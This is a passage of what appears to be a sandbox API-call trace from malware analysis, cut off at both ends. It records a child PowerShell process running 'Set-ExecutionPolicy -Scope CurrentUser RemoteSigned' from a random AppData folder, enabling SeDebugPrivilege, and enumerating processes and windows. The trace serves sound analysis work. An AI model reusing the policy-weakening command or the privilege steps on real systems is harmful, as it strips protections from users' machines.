0x102 [0059.875] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.895] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.916] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.927] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.946] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.963] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.977] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.989] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.009] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.020] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.036] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.057] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.089] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.100] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.117] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.134] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.149] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.169] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.190] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.198] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.240] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.287] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.301] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.317] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.334] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.380] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.405] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.424] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.438] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.449] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.474] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.521] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.544] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.555] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.597] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.644] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.679] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.691] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.707] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.724] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.756] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.779] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.816] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.852] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.868] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.885] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.894] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.909] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.931] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.956] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.994] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.006] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.026] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.042] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.081] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.591] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.596] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.616] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.641] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.718] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.721] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.738] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.810] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.815] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.849] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.871] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.877] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.894] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.907] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.970] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.018] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.067] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.295] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.316] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.355] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.618] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.699] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.778] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.790] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) Process: id = "12" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0xbba000" os_pid = "0xb10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xb08" cmd_line = "powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 60 os_tid = 0xb14 [0058.721] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0059.011] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0059.011] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0059.011] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0059.011] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0059.934] GetVersionExW (in: lpVersionInformation=0x60e070*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x60e070*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0059.934] GetLastError () returned 0x2 [0059.935] GetVersionExW (in: lpVersionInformation=0x60e070*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x60e070*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0059.935] GetLastError () returned 0x2 [0059.941] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ae75c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.941] GetLastError () returned 0x2 [0059.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ae778, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.947] GetLastError () returned 0x2 [0059.947] GetVersionExW (in: lpVersionInformation=0x60e070*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x60e070*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0059.947] GetLastError () returned 0x2 [0059.948] SetErrorMode (uMode=0x1) returned 0x1 [0059.950] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x1aebf8 | out: lpFileInformation=0x1aebf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0059.950] GetLastError () returned 0x2 [0059.950] SetErrorMode (uMode=0x1) returned 0x1 [0059.953] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x1aec7c | out: lpdwHandle=0x1aec7c) returned 0x94c [0059.955] GetLastError () returned 0x0 [0059.956] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2c64dcc | out: lpData=0x2c64dcc) returned 1 [0059.959] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1aec48, puLen=0x1aec44 | out: lplpBuffer=0x1aec48*=0x2c64e68, puLen=0x1aec44) returned 1 [0059.961] lstrlenW (lpString="䅁") returned 1 [0059.972] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x1aebc4, puLen=0x1aebc0 | out: lplpBuffer=0x1aebc4*=0x2c64f44, puLen=0x1aebc0) returned 1 [0059.972] lstrlenW (lpString="Microsoft Corporation") returned 21 [0059.974] lstrcpyW (in: lpString1=0x60e058, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0059.974] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x1aebc4, puLen=0x1aebc0 | out: lplpBuffer=0x1aebc4*=0x2c64f98, puLen=0x1aebc0) returned 1 [0059.974] lstrlenW (lpString="System.Management.Automation") returned 28 [0059.974] lstrcpyW (in: lpString1=0x60e058, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0059.974] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x1aebc4, puLen=0x1aebc0 | out: lplpBuffer=0x1aebc4*=0x2c64ff4, puLen=0x1aebc0) returned 1 [0059.974] lstrlenW (lpString="6.1.7601.17514") returned 14 [0059.974] lstrcpyW (in: lpString1=0x60e058, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0059.974] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x1aebc4, puLen=0x1aebc0 | out: lplpBuffer=0x1aebc4*=0x2c65034, puLen=0x1aebc0) returned 1 [0059.974] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0059.974] lstrcpyW (in: lpString1=0x60e058, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0059.974] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x1aebc4, puLen=0x1aebc0 | out: lplpBuffer=0x1aebc4*=0x2c6509c, puLen=0x1aebc0) returned 1 [0059.975] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0059.975] lstrcpyW (in: lpString1=0x60e058, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0059.975] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x1aebc4, puLen=0x1aebc0 | out: lplpBuffer=0x1aebc4*=0x2c65138, puLen=0x1aebc0) returned 1 [0059.975] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0059.975] lstrcpyW (in: lpString1=0x60e058, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0059.975] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x1aebc4, puLen=0x1aebc0 | out: lplpBuffer=0x1aebc4*=0x2c6519c, puLen=0x1aebc0) returned 1 [0059.975] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0059.975] lstrcpyW (in: lpString1=0x60e058, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0059.975] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x1aebc4, puLen=0x1aebc0 | out: lplpBuffer=0x1aebc4*=0x2c65218, puLen=0x1aebc0) returned 1 [0059.975] lstrlenW (lpString="6.1.7601.17514") returned 14 [0059.975] lstrcpyW (in: lpString1=0x60e058, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0059.975] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x1aebc4, puLen=0x1aebc0 | out: lplpBuffer=0x1aebc4*=0x2c64ec0, puLen=0x1aebc0) returned 1 [0059.975] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0059.975] lstrcpyW (in: lpString1=0x60e058, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0059.975] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x1aebc4, puLen=0x1aebc0 | out: lplpBuffer=0x1aebc4*=0x0, puLen=0x1aebc0) returned 0 [0059.975] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x1aebc4, puLen=0x1aebc0 | out: lplpBuffer=0x1aebc4*=0x0, puLen=0x1aebc0) returned 0 [0059.975] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x1aebc4, puLen=0x1aebc0 | out: lplpBuffer=0x1aebc4*=0x0, puLen=0x1aebc0) returned 0 [0059.975] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1aebb8, puLen=0x1aebb4 | out: lplpBuffer=0x1aebb8*=0x2c64e68, puLen=0x1aebb4) returned 1 [0059.977] VerLanguageNameW (in: wLang=0x0, szLang=0x60e058, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0059.979] VerQueryValueW (in: pBlock=0x2c64dcc, lpSubBlock="\\", lplpBuffer=0x1aebcc, puLen=0x1aebc8 | out: lplpBuffer=0x1aebcc*=0x2c64df4, puLen=0x1aebc8) returned 1 [0059.986] GetCurrentProcessId () returned 0xb10 [0060.004] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1ae404 | out: lpLuid=0x1ae404*(LowPart=0x14, HighPart=0)) returned 1 [0060.005] GetLastError () returned 0x0 [0060.007] GetCurrentProcess () returned 0xffffffff [0060.007] GetLastError () returned 0x0 [0060.008] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x1ae400 | out: TokenHandle=0x1ae400*=0x308) returned 1 [0060.008] GetLastError () returned 0x0 [0060.011] AdjustTokenPrivileges (in: TokenHandle=0x308, DisableAllPrivileges=0, NewState=0x2c6790c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0060.011] GetLastError () returned 0x0 [0060.013] CloseHandle (hObject=0x308) returned 1 [0060.013] GetLastError () returned 0x0 [0060.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb10) returned 0x308 [0060.018] GetLastError () returned 0x0 [0060.027] EnumProcessModules (in: hProcess=0x308, lphModule=0x2c67950, cb=0x100, lpcbNeeded=0x1aebf4 | out: lphModule=0x2c67950, lpcbNeeded=0x1aebf4) returned 1 [0060.028] GetLastError () returned 0x0 [0060.031] GetModuleInformation (in: hProcess=0x308, hModule=0x22770000, lpmodinfo=0x2c67a90, cb=0xc | out: lpmodinfo=0x2c67a90*(lpBaseOfDll=0x22770000, SizeOfImage=0x72000, EntryPoint=0x22777363)) returned 1 [0060.031] GetLastError () returned 0x0 [0060.033] GetModuleBaseNameW (in: hProcess=0x308, hModule=0x22770000, lpBaseName=0x5c35b0, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0060.033] GetLastError () returned 0x0 [0060.034] GetModuleFileNameExW (in: hProcess=0x308, hModule=0x22770000, lpFilename=0x5c35b0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0060.034] GetLastError () returned 0x0 [0060.035] CloseHandle (hObject=0x308) returned 1 [0060.035] GetLastError () returned 0x0 [0060.038] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb10) returned 0x308 [0060.038] GetLastError () returned 0x0 [0060.040] GetExitCodeProcess (in: hProcess=0x308, lpExitCode=0x2c66f40 | out: lpExitCode=0x2c66f40*=0x103) returned 1 [0060.040] GetLastError () returned 0x0 [0060.047] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3c65278, Length=0x20000, ResultLength=0x1aec3c | out: SystemInformation=0x3c65278, ResultLength=0x1aec3c*=0xa298) returned 0x0 [0060.066] EnumWindows (lpEnumFunc=0x2a53612, lParam=0x0) returned 1 [0060.068] GetWindowThreadProcessId (in: hWnd=0x50124, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0xae0 [0060.069] GetLastError () returned 0x0 [0060.069] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x558 [0060.069] GetLastError () returned 0x0 [0060.069] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.069] GetLastError () returned 0x0 [0060.069] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.069] GetLastError () returned 0x0 [0060.069] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.069] GetLastError () returned 0x0 [0060.069] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x538 [0060.069] GetLastError () returned 0x0 [0060.069] GetWindowThreadProcessId (in: hWnd=0x20118, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.069] GetLastError () returned 0x0 [0060.070] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x778 [0060.070] GetLastError () returned 0x0 [0060.070] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x778 [0060.070] GetLastError () returned 0x0 [0060.070] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.070] GetLastError () returned 0x0 [0060.070] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.070] GetLastError () returned 0x0 [0060.070] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.070] GetLastError () returned 0x0 [0060.070] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.070] GetLastError () returned 0x0 [0060.070] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.070] GetLastError () returned 0x0 [0060.071] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.071] GetLastError () returned 0x0 [0060.071] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.071] GetLastError () returned 0x0 [0060.071] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.071] GetLastError () returned 0x0 [0060.071] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.071] GetLastError () returned 0x0 [0060.071] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x460 [0060.071] GetLastError () returned 0x0 [0060.071] GetWindowThreadProcessId (in: hWnd=0x500a2, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.071] GetLastError () returned 0x0 [0060.071] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.071] GetLastError () returned 0x0 [0060.071] GetWindowThreadProcessId (in: hWnd=0xa0122, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0xb14 [0060.072] GetLastError () returned 0x0 [0060.073] GetWindow (hWnd=0xa0122, uCmd=0x4) returned 0x0 [0060.075] IsWindowVisible (hWnd=0xa0122) returned 0 [0060.075] GetWindowThreadProcessId (in: hWnd=0x1901b8, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0xa6c [0060.075] GetLastError () returned 0x0 [0060.075] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x7c4 [0060.075] GetLastError () returned 0x0 [0060.075] GetWindowThreadProcessId (in: hWnd=0x701ba, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0xaac [0060.075] GetLastError () returned 0x0 [0060.075] GetWindowThreadProcessId (in: hWnd=0x800a8, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.075] GetLastError () returned 0x0 [0060.075] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.075] GetLastError () returned 0x0 [0060.075] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.075] GetLastError () returned 0x0 [0060.075] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.076] GetLastError () returned 0x0 [0060.076] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.076] GetLastError () returned 0x0 [0060.076] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.076] GetLastError () returned 0x0 [0060.076] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.076] GetLastError () returned 0x0 [0060.076] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.076] GetLastError () returned 0x0 [0060.076] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x714 [0060.076] GetLastError () returned 0x0 [0060.076] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x328 [0060.076] GetLastError () returned 0x0 [0060.076] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x3c0 [0060.077] GetLastError () returned 0x0 [0060.077] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x5d8 [0060.077] GetLastError () returned 0x0 [0060.077] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x494 [0060.077] GetLastError () returned 0x0 [0060.077] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1ae890 | out: 